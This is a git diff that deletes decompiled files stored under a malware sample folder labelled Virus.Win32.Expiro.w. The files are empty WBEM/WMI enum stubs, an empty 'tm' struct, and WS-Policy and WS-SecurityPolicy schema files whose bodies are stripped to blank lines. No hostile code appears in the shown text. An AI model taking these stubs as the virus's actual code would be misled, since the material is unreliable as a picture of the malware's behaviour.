b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPILER_OPTIONS.cs deleted file mode 100644 index 1962c173..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPILER_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPILER_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_COMPILER_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONDITION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONDITION_FLAG_TYPE.cs deleted file mode 100644 index 8adedf63..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONDITION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONDITION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CONDITION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONNECT_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONNECT_OPTIONS.cs deleted file mode 100644 index 52cf49c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONNECT_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONNECT_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CONNECT_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_FLAVOR_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_FLAVOR_TYPE.cs deleted file mode 100644 index 4080007d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_FLAVOR_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_FLAVOR_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_FLAVOR_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENERIC_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENERIC_FLAG_TYPE.cs deleted file mode 100644 index 0bdf95b2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENERIC_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENERIC_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_GENERIC_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENUS_TYPE.cs deleted file mode 100644 index 2993d5b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_GENUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_INFORMATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_INFORMATION_FLAG_TYPE.cs deleted file mode 100644 index 88c1f8c1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_INFORMATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_INFORMATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_INFORMATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITATION_FLAG_TYPE.cs deleted file mode 100644 index 07761154..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_LIMITATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITS.cs deleted file mode 100644 index 5155f939..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_LIMITS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LOCKING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LOCKING.cs deleted file mode 100644 index 62601137..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LOCKING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LOCKING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_LOCKING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_QUERY_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_QUERY_FLAG_TYPE.cs deleted file mode 100644 index cb90ccd0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_QUERY_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_QUERY_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_QUERY_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_REFRESHER_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_REFRESHER_FLAGS.cs deleted file mode 100644 index 7bba6a8d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_REFRESHER_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_REFRESHER_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_REFRESHER_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SECURITY_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SECURITY_FLAGS.cs deleted file mode 100644 index 0bd8d721..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SECURITY_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SECURITY_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_SECURITY_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SHUTDOWN_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SHUTDOWN_FLAGS.cs deleted file mode 100644 index c4690df5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SHUTDOWN_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SHUTDOWN_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_SHUTDOWN_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_STATUS_TYPE.cs deleted file mode 100644 index fa79ea4d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TEXT_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TEXT_FLAG_TYPE.cs deleted file mode 100644 index 7440d5c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TEXT_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TEXT_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_TEXT_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TIMEOUT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TIMEOUT_TYPE.cs deleted file mode 100644 index b20d2f77..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TIMEOUT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TIMEOUT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_TIMEOUT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_UNSECAPP_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_UNSECAPP_FLAG_TYPE.cs deleted file mode 100644 index e4730783..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_UNSECAPP_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_UNSECAPP_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_UNSECAPP_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WMI_OBJ_TEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WMI_OBJ_TEXT.cs deleted file mode 100644 index be855c54..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WMI_OBJ_TEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WMI_OBJ_TEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WMI_OBJ_TEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tm.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tm.cs deleted file mode 100644 index 7e53ad47..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tm.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tm -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 36)] -internal struct tm -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-identity-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-identity-2007.xsd deleted file mode 100644 index 2740c95b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-identity-2007.xsd +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy-2007.xsd deleted file mode 100644 index d2de4d0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy-2007.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy.xsd deleted file mode 100644 index e5faa306..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy.xsd +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy-1/2.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy-1/2.xsd deleted file mode 100644 index a70f4d62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy-1/2.xsd +++ /dev/null @@ -1,1113 +0,0 @@ - - - - - - - - - - - - - 4.1.1 SignedParts Assertion - - - - - - - 4.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 4.1.2 SignedElements Assertion - - - - - - - 4.2.2 EncryptedElements Assertion - - - - - - - 4.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 5.1 Token Inclusion - - - - - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 